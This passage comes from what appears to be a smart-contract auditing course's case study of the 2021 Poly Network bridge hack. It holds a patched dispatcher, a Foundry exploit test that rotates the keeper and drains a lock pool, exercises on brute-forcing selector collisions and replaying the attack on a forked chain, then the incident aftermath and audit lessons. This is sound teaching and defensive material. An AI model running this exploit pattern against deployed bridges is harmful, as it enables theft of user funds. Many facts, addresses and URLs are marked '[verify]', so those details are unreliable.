        governance = _gov;
    }
 
    modifier onlyGov() {
        require(msg.sender == governance, "not gov");
        _;
    }
 
    function setState(BridgeState _state) external onlyGov {
        require(address(state) == address(0), "already set");
        state = _state;
    }
 
    /// @notice Governance whitelists the (target, methodName) pairs that
    ///         cross-chain messages may invoke. Keeper rotation is NOT
    ///         whitelisted — it has its own dedicated path.
    function allow(address toContract, string calldata methodName, bool ok) external onlyGov {
        allowedSelector[toContract][keccak256(bytes(methodName))] = ok;
    }
 
    function verifyHeaderAndExecute(
        bytes  calldata rawMessage,
        bytes  calldata sig,
        address toContract,
        bytes  calldata methodName,
        bytes  calldata args,
        uint64  fromChainId
    ) external returns (bool) {
        require(_verifyKeeperSig(rawMessage, sig), "bad keeper sig");
 
        // <<< THE PATCH >>>
        require(
            allowedSelector[toContract][keccak256(methodName)],
            "dispatcher: selector not allowed for this target"
        );
 
        bytes4 selector = bytes4(
            keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))
        );
        (bool ok, bytes memory ret) = toContract.call(
            abi.encodePacked(selector, abi.encode(args, bytes(""), fromChainId))
        );
        require(ok, "call failed");
        return abi.decode(ret, (bool));
    }
 
    // ... same _verifyKeeperSig and _splitSig as the vulnerable version ...
 
    function _verifyKeeperSig(bytes calldata rawMessage, bytes calldata sig)
        internal
        view
        returns (bool)
    {
        bytes memory keeperBytes = state.getKeeper();
        require(keeperBytes.length == 20, "keeper not initialised");
        address keeper;
        assembly { keeper := mload(add(keeperBytes, 20)) }
        bytes32 digest = keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32",
                              keccak256(rawMessage))
        );
        (bytes32 r, bytes32 s, uint8 v) = _splitSig(sig);
        return ecrecover(digest, v, r, s) == keeper && keeper != address(0);
    }
 
    function _splitSig(bytes calldata sig)
        internal
        pure
        returns (bytes32 r, bytes32 s, uint8 v)
    {
        require(sig.length == 65, "bad sig length");
        r = bytes32(sig[0:32]);
        s = bytes32(sig[32:64]);
        v = uint8(sig[64]);
    }
}

Crucially, in the fixed version:

  1. state.owner is set to a governance address, not to the dispatcher. Keeper rotation now goes through governance.execute(state.setKeeper(...)) — a separate code path with its own multisig.
  2. The dispatcher still has its general verifyHeaderAndExecute entry point, but it consults the allowedSelector mapping before dispatching. The governance-only allow(...) function gates what is callable.
  3. setKeeper is never added to the allowlist, so even if the dispatcher were tricked into trying to call it, the check would fail. Defense in depth.

5.6 The exploit test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/BridgeState.sol";
import "../src/LockPool.sol";
import "../src/BridgeDispatcher.sol";
import "../src/BridgeDispatcherFixed.sol";
 
contract PolyDispatcherAttackTest is Test {
    BridgeDispatcher       dispatcher;
    BridgeState            state;
    LockPool               pool;
 
    // The original honest keeper.
    uint256 honestKey = 0xA11CE;
    address honestAddr;
 
    // The attacker.
    uint256 attackerKey = 0xBADD1E;
    address attackerAddr;
 
    address user = address(0x1234);
 
    function setUp() public {
        honestAddr   = vm.addr(honestKey);
        attackerAddr = vm.addr(attackerKey);
 
        // 1) Deploy dispatcher.
        dispatcher = new BridgeDispatcher();
 
        // 2) Deploy state owned by dispatcher (this is the Poly topology).
        bytes memory keeperBytes = abi.encodePacked(honestAddr);   // 20 bytes
        state = new BridgeState(address(dispatcher), keeperBytes);
 
        dispatcher.setState(state);
 
        // 3) Deploy lock pool owned by dispatcher; seed with 100 ETH.
        pool = new LockPool{value: 100 ether}(address(dispatcher));
        vm.deal(address(pool), 100 ether);
    }
 
    /* ----------------------------------------------------------------------
     *  Attack: phase 1 — rotate the keeper to attackerAddr
     * --------------------------------------------------------------------*/
    function test_attack_phase1_rotateKeeper() public {
        // Build a "cross-chain message" claiming to call BridgeState.setKeeper.
        bytes memory args        = abi.encodePacked(attackerAddr); // new keeper = 20 bytes
        string memory methodName = "setKeeper";
        bytes memory rawMessage  = abi.encode(
            address(state), methodName, args, uint64(0xBEEF)
        );
 
        // Honest keeper currently in place; we need their signature for phase 1.
        // **In the real Poly Network attack, the attacker exploited a separate
        // flaw in proof construction that let them substitute (toContract,
        // methodName, args) inside a header that the honest keeper had signed
        // for a different payload. We model that here by simply having the
        // honest keeper sign the malicious payload — the focus of this PoC is
        // the dispatcher-as-admin issue.**
        bytes32 digest = keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32",
                              keccak256(rawMessage))
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(honestKey, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
 
        // Sanity: keeper is honest before.
        bytes memory before_ = state.getKeeper();
        assertEq(_bytesToAddress(before_), honestAddr);
 
        // Submit. The dispatcher accepts because: (a) the signature is valid,
        // (b) there is no selector allowlist.
        dispatcher.verifyHeaderAndExecute(
            rawMessage,
            sig,
            address(state),
            bytes("setKeeper"),
            args,
            uint64(0xBEEF)
        );
 
        // Keeper is now attacker.
        bytes memory after_ = state.getKeeper();
        assertEq(_bytesToAddress(after_), attackerAddr,
                 "keeper should be attacker after rotation");
    }
 
    /* ----------------------------------------------------------------------
     *  Attack: phase 2 — drain the lock pool with attacker-signed unlock msg
     * --------------------------------------------------------------------*/
    function test_attack_phase2_drainPool() public {
        // First run phase 1.
        test_attack_phase1_rotateKeeper();
 
        // Now attacker signs an "unlock 100 ether to attackerAddr" message.
        bytes memory args        = abi.encode(payable(attackerAddr), uint256(100 ether));
        string memory methodName = "unlock";
        bytes memory rawMessage  = abi.encode(
            address(pool), methodName, args, uint64(0xBEEF)
        );
 
        bytes32 digest = keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32",
                              keccak256(rawMessage))
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
 
        uint256 attackerBefore = attackerAddr.balance;
        assertEq(address(pool).balance, 100 ether);
 
        dispatcher.verifyHeaderAndExecute(
            rawMessage,
            sig,
            address(pool),
            bytes("unlock"),
            args,
            uint64(0xBEEF)
        );
 
        // The pool is drained.
        assertEq(address(pool).balance, 0, "pool should be empty");
        assertEq(attackerAddr.balance - attackerBefore, 100 ether,
                 "attacker should have stolen 100 ETH");
    }
 
    /* ----------------------------------------------------------------------
     *  Same attack against the PATCHED dispatcher — should revert in phase 1
     * --------------------------------------------------------------------*/
    function test_patched_dispatcher_blocks_rotation() public {
        // Re-deploy with the patched dispatcher.
        BridgeDispatcherFixed patched = new BridgeDispatcherFixed(address(this));
        BridgeState ps = new BridgeState(address(this), abi.encodePacked(honestAddr));
        // Note: state.owner is GOVERNANCE (this contract), NOT the dispatcher.
        patched.setState(ps);
 
        LockPool pp = new LockPool{value: 100 ether}(address(patched));
        vm.deal(address(pp), 100 ether);
 
        // Governance allowlists only the "unlock" selector on the pool.
        patched.allow(address(pp), "unlock", true);
        // setKeeper is deliberately NOT allowlisted.
 
        bytes memory args        = abi.encodePacked(attackerAddr);
        string memory methodName = "setKeeper";
        bytes memory rawMessage  = abi.encode(
            address(ps), methodName, args, uint64(0xBEEF)
        );
        bytes32 digest = keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32",
                              keccak256(rawMessage))
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(honestKey, digest);
        bytes memory sig = abi.encodePacked(r, s, v);
 
        // The patched dispatcher refuses.
        vm.expectRevert("dispatcher: selector not allowed for this target");
        patched.verifyHeaderAndExecute(
            rawMessage,
            sig,
            address(ps),
            bytes("setKeeper"),
            args,
            uint64(0xBEEF)
        );
    }
 
    /* ---- helpers ----------------------------------------------------------*/
 
    function _bytesToAddress(bytes memory b) internal pure returns (address a) {
        require(b.length == 20, "not an address");
        assembly { a := mload(add(b, 20)) }
    }
 
    receive() external payable {}
}

5.7 Running it

forge test --match-contract PolyDispatcherAttackTest -vvv

Expected output (abbreviated):

[PASS] test_attack_phase1_rotateKeeper()      (gas: ~80k)
[PASS] test_attack_phase2_drainPool()         (gas: ~120k)
[PASS] test_patched_dispatcher_blocks_rotation() (gas: ~70k)

Both attack phases pass against the vulnerable dispatcher; the patched dispatcher reverts on phase 1, which means phase 2 is structurally unreachable. Twelve lines of patch saved a notional $611M.

5.8 Stretch exercises

  • Exercise A: Modify the PoC so that the BridgeState’s owner is the governance address (a multisig), and the dispatcher calls into BridgeState only through a Governance.executeRotation(...) function that requires multiple signatures. This is the cleaner fix — even an allowlist mistake on the dispatcher cannot rotate the keeper.

  • Exercise B: Replicate the selector-collision specifically: find a short string m such that keccak256(m + "(bytes,bytes,uint64)")[:4] == keccak256("setKeeper(bytes,bytes,uint64)")[:4]. Brute-force it. Show that the vulnerable dispatcher accepts the colliding string identically. Now show that a patched dispatcher that whitelists by keccak256(methodName) instead of by selector bytes still blocks the call. Conclusion: do not allowlist by selector; allowlist by the full method-name string (or canonical signature). Selector collisions are real and exploitable.

  • Exercise C: Add a BridgeStateMonitor contract that emits an event whenever setKeeper is called and alarms if the call did not originate from the governance multisig. Show how off-chain monitoring (Forta/Defender-style) could have detected the rotation before phase 2’s drain landed.

  • Exercise D: Repeat the entire attack on a forked Ethereum at block ~12,996,000 (just before Aug 10, 2021 [verify block number]). Use the real EthCrossChainManager deployment. Document the real methodName collision strings the attacker used in production. This is the historical-forensic version of the exercise; the PoC above is the teaching version.


6. Aftermath

6.1 The day-of incident response

The Poly Network team’s day-of response was, by industry standards, fast and competent:

  • ~12:00 UTC, Aug 10: First public acknowledgement on Twitter. Provided attacker addresses on all three chains. Asked centralized exchanges (Binance, OKX, Huobi) and stablecoin issuers (Tether, Circle) to freeze incoming transfers.
  • Late afternoon Aug 10: Tether froze ~$33M USDT. Major exchanges added attacker addresses to their internal blocklists. Coinbase, despite Poly Network not being directly connected, voluntarily blacklisted.
  • Aug 10 evening: SlowMist published a preliminary technical post-mortem identifying the dispatcher-as-admin pattern. Mudit Gupta (then at Polygon, now elsewhere [verify]) published a parallel technical thread on Twitter explaining the bug.
  • Aug 10–11: SlowMist claims to have traced the attacker’s IP, email, and exchange linkages within ~24 hours. The attacker (calling themselves “Mr. White Hat”) appears to have understood the de-anonymization risk and began responding via on-chain calldata messages.

6.2 The return saga (Aug 11 – Aug 26)

The negotiation was conducted in public, on-chain. The most-quoted exchanges happened via embedded ASCII in transaction calldata. Key milestones:

DateEvent
Aug 11Attacker returns first $260M (mostly BSC- and Polygon-side assets, which were easier to move). Poly Network creates a multisig vault to receive returns.
Aug 12More returns. Attacker requests a “white-hat bounty”; Poly Network publicly offers $500K. Attacker accepts and is sent the funds.
Aug 13Attacker proposes returning the $500K bounty as a “donation.”
Aug 14Attacker holds out ~$235M (mostly the USDT that Tether froze, plus some uncertain holdings).
Aug 16Attacker provides “Mr. White Hat” multisig key to Poly Network. The keys to a 2-of-3 multisig containing the remaining funds are held by: Poly Network, Mr. White Hat, and a third party.
Aug 19–23Coordination with Tether to unfreeze the $33M USDT in exchange for it being moved into the multisig.
Aug 26Tether unfreezes; final tranche returned. Total recovered: ~611M stolen. The remaining ~$1M shortfall is in long-tail tokens unaccounted-for.

By Aug 26, sixteen days after the attack, Poly Network was effectively whole.

6.3 No hard fork. No retroactive code change.

This is structurally important and worth emphasising. Compare to The DAO (June 2016), where Ethereum hard-forked to roll back the attack. Poly Network had no hard fork because:

  1. The attack was on user assets held in Poly Network’s LockProxy, not in any chain’s protocol. The chains themselves (Ethereum, BSC, Polygon) had no reason to fork.
  2. The funds were recovered through social, not protocol, mechanisms.
  3. Even if recovery had failed, no chain’s L1 governance would have considered forking for Poly Network — by 2021 the post-DAO settlement was firmly “no protocol forks for application-layer failures.”

The auditor’s takeaway: modern bridges cannot rely on chain-level remediation. The recovery option is “convince the attacker to return.” As remediation strategies go, that is at-best a Hail Mary. Architect to never need it.

6.4 Bridge resumed; protocol continued

Poly Network patched the dispatcher (added an allowlist of (toContract, methodName) pairs), re-audited, and resumed operations within days of the recovery. The protocol continued operating into 2022 and 2023, though with diminished public prominence.

In 2023, Poly Network was hacked again [verify — the 2023 incident was a separate, smaller compromise affecting around $42M, by some reports involving compromised keeper keys rather than the same dispatcher class of bug]. The second incident did not produce a similar recovery. This is itself a lesson:

A protocol that has been hacked once is more likely than baseline to be hacked again. Either the underlying architecture has multiple instances of the same class of bug, or the team’s audit-and-deployment discipline is structurally weak, or both. Auditors should reweight “this team has been hacked before” upward in their priors.

6.5 Industry-level consequences

  • The “selector allowlist” pattern became audit-checklist standard. Every subsequent bridge audit by Trail of Bits, OpenZeppelin, Spearbit, etc. explicitly asks: “what is the set of selectors reachable via the cross-chain dispatcher? Is each one safe for an external party to invoke?”
  • Separation of state.owner from dispatcher became standard architecture. LayerZero V2’s Endpoint does not own application config; applications configure their own DVNs independently. Wormhole’s Core does not own its own governance contract; governance is a separate VAA-only path with reserved action codes.
  • The bridge-design pattern of “user messages and admin messages share the same path” was retired in serious protocols. Where the path is necessarily shared (e.g., Wormhole’s governance VAAs use the same Guardian-signing path as user VAAs), there are explicit, reserved action codes and target = governance.address checks gating admin actions.
  • Public negotiations with attackers (“white-hat bounties,” “we won’t prosecute if you return”) became a documented playbook. Whether it’s a good playbook is contested; what is uncontested is that Poly Network is the canonical case where it worked end-to-end.
  • SlowMist’s de-anonymization speed (within 24 hours, allegedly to a named individual) reset the industry’s understanding of attacker pseudonymity. The era of “I’ll just bridge it through Tornado and disappear” was already ending by 2021; Poly Network’s recovery accelerated the realization that operational OPSEC (exchange KYC, IP leakage, email artifacts) is much weaker than smart-contract-level pseudonymity.

7. Lessons for auditors

7.1 The trust-boundary inventory

Whenever you audit a bridge — or any system with cross-domain message dispatch — your first artifact is a trust-boundary inventory:

CallerCalleeSelectorWhat it doesIs it acceptable for caller to invoke this?
EthCrossChainManager (any external relayer with a keeper sig)LockProxyunlock(bytes,bytes,uint64)Releases locked assetsYes — this is the intended cross-chain path
EthCrossChainManager (any external relayer with a keeper sig)EthCrossChainDataputCurEpochConPubKeyBytes(bytes,bytes,uint64)Rotates keeper setNO — this is an admin action, should never be reachable from a user-side relayer
EthCrossChainData (admin only)EthCrossChainDatatransferOwnership(address)Changes the dispatcherNO from cross-chain side; YES only from designated off-chain governance

For every cross-chain dispatcher you audit, populate this table for every contract owned by the dispatcher, listing every external function. Any row where the answer to the right column is “NO” but the bridge architecture allows the call is a critical finding.

This artifact is the single highest-leverage thing you produce in a bridge audit. It is also the artifact that, had the original Poly Network audit produced it, would have caught the $611M bug.

7.2 Selector cannot be access control

The Poly Network bug has a sub-lesson that should be tattooed onto bridge auditors:

Four-byte selectors are not a security boundary. They are a routing primitive.

The selector is computed from a hash, which is collision-prone for a 32-bit prefix. Any defense that relies on “the attacker can’t construct a selector for X” is structurally broken — the search space is small enough to brute-force on a laptop in seconds.

If you ever see code like:

if (selector == privilegedSelector) revert("not allowed");
// otherwise dispatch

…this is not a defense. The attacker can pick a different methodName whose keccak collides with the target function’s selector while not matching privilegedSelector. The right pattern is the inverse:

require(allowlist[selector], "selector not in allowlist");

…and the allowlist is populated by off-chain governance, not by cross-chain messages.

7.3 “Owned by the dispatcher” should set off alarms

If contract X has owner = Y and Y is a dispatcher (forwards arbitrary calldata based on user input), then X’s onlyOwner is effectively onlyDispatcher, which is effectively onlyRelayer-with-a-valid-message, which on a permissive bridge is effectively external.

The auditor’s instinct on seeing owner = ECCM (or any equivalent) should be: “what can the dispatcher be tricked into calling on this contract?” That question, applied honestly, finds the Poly Network bug in ten minutes.

7.4 Defense in depth — three layers, not one

The Poly Network architecture had zero defenses against the dispatcher-as-admin attack. A modern bridge should have at least three layers, any one of which would stop the attack:

  1. Cryptographic binding: the keeper signature must cover the full payload including (toContract, methodName, args). No substitution after signing. (The original Poly attack had a weaker binding here; that was a necessary but not sufficient enabler.)
  2. Selector / target allowlist on the dispatcher: only specific (toContract, methodName) pairs are dispatchable. (The cleanest fix.)
  3. Separation of admin ownership from dispatcher: the data contract is owned by a multisig under off-chain governance, with its own multi-step rotation flow. Even if the dispatcher is somehow tricked, the data contract refuses the call. (Belt-and-braces.)

Modern protocols (LayerZero, CCIP, IBC, etc.) do all three. Poly Network did none.

7.5 The “marketed trust model vs deployed trust model” finding

A non-code audit finding, but a real one: Poly Network was marketed as a “cryptographically secure” cross-chain protocol while operating a 4-keeper multisig with no public identities, no slashing, and a single off-chain governance team.

Audit reports should always include a section titled “Trust Assumptions, As Marketed vs. As Implemented.” When the gap is large — as in Poly Network, or Multichain, or even Wormhole’s pre-Jump-bailout positioning — users are making decisions on bad information. The audit finding here is “the trust model is reasonable as implemented, but the user-facing documentation overstates its decentralization. Recommend disclosure.”

This is the L2Beat Stages mindset applied to bridges. A consistent auditor practice on this point would have done meaningful good in the 2021–2022 era.

7.6 Recovery is not a strategy

The Poly Network case is not an example of “DeFi self-corrects.” It is an example of an attacker who chose to return funds. The attacker had options: hold, launder, distribute. They chose return — for reasons that remain partially mysterious. Other attackers, in other incidents, made other choices. Ronin’s attacker (Lazarus Group) did not return. Wormhole’s attacker did not return. Nomad’s attackers (300+ of them) did not return.

Auditor’s stance: the architecture must work even if the attacker is unaligned. Returning funds is a contingent gift, not a structural property. Do not allow a protocol team to point at Poly Network and argue “we don’t need to fix the architecture because if anything happens we’ll just ask nicely.” This is not a serious answer.

7.7 Why this bug class persists

You might think “the dispatcher-as-admin bug is so obvious that nobody would build it twice.” This is wrong. Variants of the same pattern appear regularly:

  • Multicall executors trusted by privileged functions: anyone who can submit a Multicall payload can chain calls to admin functions.
  • L1↔L2 messengers with onlyMessenger privilege on rollup config contracts: a malicious L1-originated message could mutate config if there is no per-action allowlist.
  • AA wallets (ERC-4337): pre-validated entry-point calls trusted by the account for self-mutation, without per-selector checking.
  • DeFi router contracts that allow generic delegatecall or arbitrary call based on user input — if the router itself is trusted by other contracts (e.g., a yield optimizer), abuse is open.

Each of these is structurally “a privileged caller dispatches user-controlled calldata; the callee trusts the caller.” Each is a Poly Network in waiting. The audit pattern is identical: enumerate the privileged-callable surface and check every selector for safety.


8. What you would have caught (pre-attack auditor exercise)

If Poly Network’s EthCrossChainManager and EthCrossChainData landed in your audit inbox today, what fires on read — before you compile a thing?

8.1 Immediate fires (under 60 seconds)

SignalWhy it fires
EthCrossChainData.owner = address(EthCrossChainManager) (constructor wiring)A contract owning another contract’s admin is a major design smell. Ask: “what can the owning contract do? What selectors does it forward? Can a user trigger any of them?”
_executeCrossChainTx(toContract, methodName, args, ...) with no whitelistingThe function name itself is a confession: “execute cross-chain tx” — anything? Yes, anything. Where is the allowlist? Doesn’t exist. Critical.
bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))) selector synthesis from user-supplied bytesSelector synthesis from user-controlled string is a code smell. Combined with no allowlist, it’s a critical finding.
putCurEpochConPubKeyBytes(bytes,bytes,uint64) exists on the data contract and has matching (bytes,bytes,uint64) signatureThe privileged setter has the exact signature shape that the dispatcher constructs. This is the alignment that lets the dispatcher invoke it. Should jump out instantly.
No pause() mechanism on the dispatcherIf the bug is detected mid-attack there is no kill switch. Bridge of this TVL with no pause = major operational finding even pre-exploit.

8.2 Secondary signals (next 5 minutes)

  • onlyOwner modifier on setKeeper reads as protection — but the auditor should ask “who is owner?” and immediately discover it’s the dispatcher. Read every onlyOwner modifier as onlyOwnerContract until you verify it’s onlyOwnerEOA.
  • Symmetric architecture across 6+ chains means the bug applies cartesianly: any single audit finding is multiplied by deployment count. Find a bug once, write it in the report once, but flag explicitly that the impact spans every chain the contract is deployed on.
  • No rate limit on _executeCrossChainTx — even ignoring the dispatcher-as-admin issue, the bridge has no per-message or per-period cap. A single compromised relayer + cracked keeper could drain the entire pool in one transaction. A rate limit alone would have capped the loss to a fraction.
  • getCurEpochConPubKeyBytes() is read on every verifyHeaderAndExecute — this is the key being checked. The setter that mutates it lives on the same data contract reachable through the same dispatcher. The dispatcher reads and writes its own trust anchor through the same access-control path. This is structurally fragile.
  • No event emitted on putCurEpochConPubKeyBytes [verify against actual source] — if there’s no KeeperRotated(bytes oldKeys, bytes newKeys, address by) event, even on-chain monitoring of rotation is impossible. A simple event-emit would have alerted watchers within seconds of phase 1.

8.3 The 60-second auditor verdict

“This bridge has a cross-chain dispatcher that synthesises a function selector from a user-controlled methodName string and calls it on a user-controlled toContract with user-controlled args. No allowlist constrains either dimension. The bridge’s own admin contract (EthCrossChainData) is owned by this dispatcher and has a public-key-rotation function with matching signature shape. Critical: cross-chain dispatcher can invoke admin functions on its own state contract, including putCurEpochConPubKeyBytes, allowing a single user-side relayer call to rotate the keeper set to attacker-controlled keys. PoC: construct a cross-chain message with toContract = EthCrossChainData and methodName whose selector matches putCurEpochConPubKeyBytes’s. Estimated exploitability: trivial. Severity: critical (entire bridge TVL at risk across all deployed chains).”

Plus a 200-line Foundry PoC, plus the patch (one allowlist + one ownership separation). That is the finding.

8.4 What this teaches about audit methodology

Poly Network’s contracts were audited [verify the audit firm and date — multiple firms reviewed Poly Network prior to August 2021; the precise scope of each is documented in the firms’ public reports]. None of the public audits caught the dispatcher-as-admin issue. Why?

  1. Function-level review. Each function (verifyHeaderAndExecuteTx, putCurEpochConPubKeyBytes, _executeCrossChainTx) reads as plausibly correct in isolation. The bug is in the composition, specifically the composition across two contracts (EthCrossChainManager and EthCrossChainData).
  2. Cross-contract trust-boundary analysis was not yet a standard practice in 2020–2021 audits. The discipline of mapping “every function reachable through every privileged caller across the deployment” was articulated later (Trail of Bits’s bridge-audit methodology post-Poly Network is the canonical reference).
  3. Marketing-driven framing. Audits often inherit the protocol’s framing of its own architecture: “the keeper multisig is the trust anchor.” Auditors look for keeper-side compromise. The bug is on the consumer side of that trust — an unauthorized relayer with no keeper credentials abused the dispatcher.
  4. Assumed safety of onlyOwner. The mental shortcut “this function is onlyOwner, so it’s safe” stops the analysis prematurely. The correct next question — “who is owner, and can the owner be tricked?” — was not consistently asked.

The modern bridge-auditor’s playbook is built on these failures. Trail of Bits, OpenZeppelin, Spearbit, and ChainSecurity have all published variants of “how to audit a bridge” that explicitly enumerate the trust-boundary discovery as Step 1.


9. References

Primary post-mortems and analyses

Poly Network official communications

”Mr. White Hat” on-chain messages

Tether’s freeze announcement

  • Paolo Ardoino (Tether CTO) — Twitter post confirming the USDT freeze (Aug 10, 2021) [verify URL].

Industry-context retrospectives

  • Trail of Bits — “Cross-chain bridges: How they work and why they’re vulnerable” (post-Poly Network methodology): https://blog.trailofbits.com/ [verify exact URL of the relevant post; Trail of Bits has published multiple bridge methodology pieces].
  • Chainalysis — Crypto Crime Report 2022: includes cumulative bridge-attack statistics with Poly Network as the top-of-list entry: https://go.chainalysis.com/2022-Crypto-Crime-Report.html [verify URL].
  • Rekt.news — “Poly Network — REKT”: https://rekt.news/polynetwork-rekt/ [verify — rekt.news publishes incident-by-incident write-ups; Poly Network is one of the early canonical entries].

Source code

  • Poly Network EVM contracts (GitHub): https://github.com/polynetwork/eth-contracts [verify — the original repo may have been renamed or moved; the relevant Solidity files are EthCrossChainManager.sol, EthCrossChainData.sol, and LockProxy.sol].
  • Patched dispatcher post-recovery (commit history on the same repo) — examine the diff for the introduced allowlist pattern.

Key Etherscan addresses

  • EthCrossChainManager proxy on Ethereum: 0x838bf9E95CB12Dd76a54c9f9D2A3082EAF3D02b9 [verify].
  • EthCrossChainData on Ethereum: 0xcF2afe102057bA5c16f899271045a0A37fCb10f2 [verify].
  • Attacker EOA on Ethereum: 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963 [verify; multiple addresses across the three chains].
  • Attacker EOA on BSC: 0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71 [verify].
  • Attacker EOA on Polygon: 0x5dc3603C9D42Ff184153a8a9094a73d461663214 [verify].
  • Recovery multisig (Mr. White Hat 2-of-3): address published by Poly Network during the recovery [verify].

Course cross-references


Last updated: 2026-05-16 See also: Tuan-10-Bridge-Cross-Chain-Security · Tuan-04-Security-Foundations-CEI-AC · Case-Wormhole-2022 · Case-Nomad-Bridge-2022 · Case-Ronin-Bridge-2022 · Case-Parity-Multisig-2017 · audit-checklist-master · Roadmap · References